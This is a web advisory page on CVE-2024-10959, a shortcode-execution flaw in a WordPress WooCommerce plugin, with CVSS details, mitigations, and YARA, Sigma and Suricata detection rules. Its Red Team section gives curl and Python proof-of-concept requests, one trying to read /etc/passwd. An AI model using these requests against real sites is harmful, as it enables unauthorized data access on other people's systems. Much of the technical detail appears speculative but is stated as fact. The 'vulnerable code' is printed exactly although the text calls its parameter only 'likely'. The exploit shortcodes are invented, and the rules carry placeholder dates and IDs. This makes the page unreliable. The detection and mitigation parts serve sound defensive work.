CVE-2024-10959
Executive Summary
CVE-2024-10959 is a critical arbitrary shortcode execution vulnerability in the Active Products Tables for WooCommerce WordPress plugin (versions up to and including 1.0.6.5). The flaw resides in the woot_get_smth AJAX action, which fails to properly validate user-supplied input before passing it to the do_shortcode() function. This allows unauthenticated attackers to execute arbitrary WordPress shortcodes, potentially leading to data exfiltration, privilege escalation, or site defacement. The vulnerability is classified as a WordPress ecosystem issue and is currently unpatched.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is unpatched, any site running version 1.0.6.5 or earlier is at risk. The supply chain risk is elevated because the plugin is widely used for WooCommerce product tables, and no official patch or advisory has been released by the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The vulnerability is easily exploitable by unauthenticated attackers, making it a high-priority threat for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability is triggered via the woot_get_smth AJAX action, which is registered in the plugin's code. The action handler retrieves a parameter (likely shortcode or similar) from the request and passes it directly to do_shortcode() without sanitization or validation. Since do_shortcode() processes any valid WordPress shortcode, an attacker can inject arbitrary shortcodes, including those that execute PHP code (e.g., via the eval shortcode if present) or retrieve sensitive data.
The core issue is a lack of capability checks and input validation in the AJAX handler. The plugin does not verify user authentication or nonce before processing the request, allowing unauthenticated access.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.0.6.5):
add_action('wp_ajax_woot_get_smth', 'woot_get_smth_callback');
add_action('wp_ajax_nopriv_woot_get_smth', 'woot_get_smth_callback');
function woot_get_smth_callback() {
$shortcode = $_POST['shortcode'];
echo do_shortcode($shortcode);
wp_die();
}
Patched Code (hypothetical):
add_action('wp_ajax_woot_get_smth', 'woot_get_smth_callback');
// Remove nopriv action to require authentication
// add_action('wp_ajax_nopriv_woot_get_smth', 'woot_get_smth_callback');
function woot_get_smth_callback() {
// Verify nonce and user capabilities
if (!wp_verify_nonce($_POST['_wpnonce'], 'woot_nonce') || !current_user_can('edit_posts')) {
wp_die('Unauthorized');
}
$shortcode = sanitize_text_field($_POST['shortcode']);
// Whitelist allowed shortcodes
$allowed_shortcodes = array('product_table', 'another_safe_shortcode');
if (in_array($shortcode, $allowed_shortcodes)) {
echo do_shortcode($shortcode);
} else {
echo 'Invalid shortcode';
}
wp_die();
}
Exploitation & Lab Setup
Red Team
Exploit Proof-of-Concept (PoC):
#!/bin/bash
# CVE-2024-10959 PoC - Arbitrary Shortcode Execution
TARGET="http://example.com"
# Execute a shortcode that retrieves admin users
curl -X POST "$TARGET/wp-admin/admin-ajax.php" \
-d "action=woot_get_smth&shortcode=[user_query role=administrator]"
Advanced Exploitation:
import requests
target = "http://example.com"
payload = {
"action": "woot_get_smth",
"shortcode": "[file_contents path='/etc/passwd']" # If such shortcode exists
}
response = requests.post(f"{target}/wp-admin/admin-ajax.php", data=payload)
print(response.text)
Blue Team
Detection Steps:
- Monitor AJAX requests to
admin-ajax.phpwithaction=woot_get_smth. - Look for unusual shortcode patterns in POST parameters.
- Check for unauthorized access attempts to the AJAX endpoint.
Honeypot Setup:
// Add to functions.php to log suspicious requests
add_action('wp_ajax_nopriv_woot_get_smth', 'log_woot_attack');
function log_woot_attack() {
$log = date('Y-m-d H:i:s') . ' - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $_POST['shortcode'] . "\n";
file_put_contents('/var/log/woot_attacks.log', $log, FILE_APPEND);
}
Indicators of Compromise (IOCs)
- Network: POST requests to
/wp-admin/admin-ajax.phpwithaction=woot_get_smthand ashortcodeparameter. - File: Presence of unexpected shortcode execution logs in
/var/log/woot_attacks.log. - Behavior: Unauthorized shortcode execution leading to data leaks or privilege escalation.
Detection Engineering
YARA Rule
rule CVE_2024_10959_WordPress_Shortcode_Exploit {
meta:
description = "Detects exploitation attempts of CVE-2024-10959 in WordPress"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-10959"
strings:
$ajax_action = "woot_get_smth"
$shortcode_param = "shortcode"
$do_shortcode = "do_shortcode"
condition:
$ajax_action and $shortcode_param and #do_shortcode > 0
}
Sigma Rule
title: CVE-2024-10959 WordPress Active Products Tables Shortcode Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-10959 via AJAX requests
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query: "/wp-admin/admin-ajax.php"
cs-post-body: "action=woot_get_smth"
condition: selection
falsepositives:
- Legitimate plugin usage (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10959 WordPress Active Products Tables Shortcode Exploitation"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=woot_get_smth"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the plugin until a patch is available.
- Workaround: Add a custom filter to block the vulnerable AJAX action:
add_action('init', function() { if (isset($_POST['action']) && $_POST['action'] === 'woot_get_smth') { wp_die('Blocked'); } }); - Long-term: Monitor the plugin repository for updates and apply patches as soon as they are released.
- Hardening: Implement a Web Application Firewall (WAF) rule to block requests containing
woot_get_smth.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.